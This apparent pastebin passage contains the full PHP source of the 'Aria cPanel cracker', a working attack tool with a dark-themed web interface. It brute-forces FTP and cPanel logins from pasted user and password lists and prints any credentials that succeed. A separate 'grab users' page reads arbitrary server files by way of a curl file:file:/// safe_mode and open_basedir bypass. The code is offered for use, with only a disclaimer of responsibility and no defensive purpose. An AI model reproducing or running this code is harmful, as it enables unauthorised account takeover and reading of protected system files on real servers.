  1561. body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}
  1562. a:active { outline: none; }
  1563. a:focus { -moz-outline-style: none; }
  1564. </style>
  1565.   <style type='text/css'>
  1566.   <!--
  1567.        A:link {text-decoration: none; color:#cccccc }
  1568.        A:visited {text-decoration: none; color:#cccccc }
  1569.        a:hover {text-decoration: none; color:#000000}
  1570.   -->
  1571. </style>
  1572. <?php
  1573. /* This Code was originaly written by Aria-Security Team [Persian Security Network]
  1574. we are not responsible for any damage/usage done with this script  
  1575.     http://Aria-Security.com
  1576. */
  1577. @ini_set('memory_limit', 1000000000000);
  1578. $connect_timeout=5;
  1579. @set_time_limit(0);
  1580. $submit = $_REQUEST['submit'];
  1581. $users = $_REQUEST['users'];
  1582. $pass = $_REQUEST['passwords'];
  1583. $target = $_REQUEST['target'];
  1584. $option = $_REQUEST['option'];
  1585. $page = $_GET['page'];
  1586.  
  1587. if($target == ''){
  1588. $target = 'localhost';
  1589. }
  1590. ?>
  1591.  
  1592. <?php
  1593.  print "<br><br><br><center><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='70%' bgColor=#303030 borderColorLight=#666666 border=1><tr><td width='70%'>
  1594. <br><b><center><a href='?panel=cp&page=bio'> bio </a> - <a href='?panel=cp&page=crack'> brute </a> - <a href='?panel=cp&page=users'> grab users </a><br><br></center></td></tr></table>";
  1595.  if ( $page == 'bio' ){
  1596. print  
  1597. "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%'bgColor=#303030 borderColorLight=#666666 border=1><tr><td>
  1598. <br><b>Please enter your USERNAME and PASSWORD to logon<br>
  1599. user<br>
  1600. 220 +ok<br>
  1601. pass ********<br>
  1602. 220 +ok login successful<br>
  1603. [ user@aria-security.com ]# info<b><br><font face=tahoma><br>
  1604. <font color='red' >Aria cPanel cracker version : 1.0 </font><b><br><br>
  1605. Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir bypasser ... more stuff will be included in the next version<br>
  1606. Our website , <a href='http://Aria-security.com'> http://Aria-security.com</a><br>
  1607. </center><br></td></tr></table>";
  1608.  }elseif( $page == 'crack'){
  1609.  // Aria-Security Team [Persian Security Network]
  1610. @ini_set('memory_limit', 1000000000000);
  1611. $connect_timeout=5;
  1612. @set_time_limit(0);
  1613. $submit = $_REQUEST['submit'];
  1614. $users = $_REQUEST['users'];
  1615. $pass = $_REQUEST['passwords'];
  1616. $target = $_REQUEST['target'];
  1617. $option = $_REQUEST['option'];
  1618. if($target == ''){
  1619. $target = 'localhost';
  1620. }
  1621. print " <div align='center'>
  1622. <form method='post' style='border: 1px solid #000000'><br><br>
  1623. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#666666 border=1><tr><td>
  1624. <b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:Verdana; font-weight:bold;'></p></font></b></p>
  1625. <div align='center'><br>
  1626. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#666666 border=1>
  1627. <tr>
  1628. <td align='center'>
  1629. <b>Username</b></td>
  1630. <td>
  1631. <p align='center'>
  1632. <b>Password</b></td>
  1633. </tr>
  1634. </table>
  1635. <p align='center'>
  1636. <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$users</textarea>
  1637. <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$pass</textarea><br>
  1638. <br>                          
  1639. <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel  
  1640. <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='brute' name='submit' ></p>
  1641. </td></tr></table></td></tr></form><p align= 'left'>";
  1642. ?>
  1643. <?php
  1644. function ftp_check($host,$user,$pass,$timeout){
  1645. $ch = curl_init();
  1646. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  1647. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1648. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1649. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  1650. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  1651. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1652. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1653. $data = curl_exec($ch);
  1654. if ( curl_errno($ch) == 28 ) {
  1655.  
  1656. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  1657. exit;}
  1658.  
  1659. elseif ( curl_errno($ch) == 0 ){
  1660.  
  1661. print  
  1662. "<b>[ user@aria-security.com ]# </b>
  1663. <b> Attacking has been done , found username , <font color='#FF0000'> $user </font> and password ,  
  1664. <font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);}
  1665.  
  1666. function cpanel_check($host,$user,$pass,$timeout){
  1667. $ch = curl_init();
  1668. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  1669. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1670. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1671. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  1672. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1673. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1674. $data = curl_exec($ch);
  1675. if ( curl_errno($ch) == 28 ) {  
  1676. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  1677. exit;}
  1678. elseif ( curl_errno($ch) == 0 ){
  1679.  
  1680. print  
  1681. "<b>[ user@aria-security.com ]# </b>
  1682. <b>Attacking has been done , found username , <font color='#FF0000'> $user </font> and password ,  
  1683. <font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);}
  1684.  
  1685. if(isset($submit) && !empty($submit)){
  1686.  
  1687. $userlist = explode ("\n" , $users );
  1688. $passlist = explode ("\n" , $pass );
  1689. print "<b>[ user@aria-security.com ]# Attacking ...</font></b><br>";
  1690. foreach ($userlist as $user) {
  1691. $_user = trim($user);
  1692. foreach ($passlist as $password ) {
  1693. $_pass = trim($password);
  1694. if($option == "ftp"){
  1695. ftp_check($target,$_user,$_pass,$connect_timeout);
  1696. }
  1697. if ($option == "cpanel")
  1698. {
  1699. cpanel_check($target,$_user,$_pass,$connect_timeout);
  1700. }
  1701. }
  1702. }
  1703. }
  1704. }elseif ( $page == 'users'){
  1705. echo "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%'bgColor=#303030 borderColorLight=#666666 border=1><tr><td>";
  1706. echo '<p><form name="form" action="" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hardstylez" value="grab !"></form>';
  1707. $file = $_POST['file'];
  1708. $level=0;
  1709. if(!file_exists("file:"))
  1710.     @mkdir("file:");
  1711. @chdir("file:");
  1712. $level++;
  1713.  
  1714. $hardstyle = @explode("/", $file); // A R I A  
  1715.  
  1716. for($a=0;$a<count($hardstyle);$a++){
  1717.     if(!empty($hardstyle[$a])){
  1718.         if(!file_exists($hardstyle[$a]))  
  1719.             @mkdir($hardstyle[$a]);
  1720.         @chdir($hardstyle[$a]);
  1721.         $level++;
  1722.     }
  1723. }
  1724. while($level--) chdir("..");
  1725. $ch = curl_init();
  1726. curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);
  1727. echo "<textarea rows='30' cols='120' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0' >";
  1728. if(FALSE==curl_exec($ch))
  1729. die('Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');
  1730. echo ' </textarea> </FONT>';
  1731. curl_close($ch);
  1732. print '</table>';
  1733. }
  1734. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!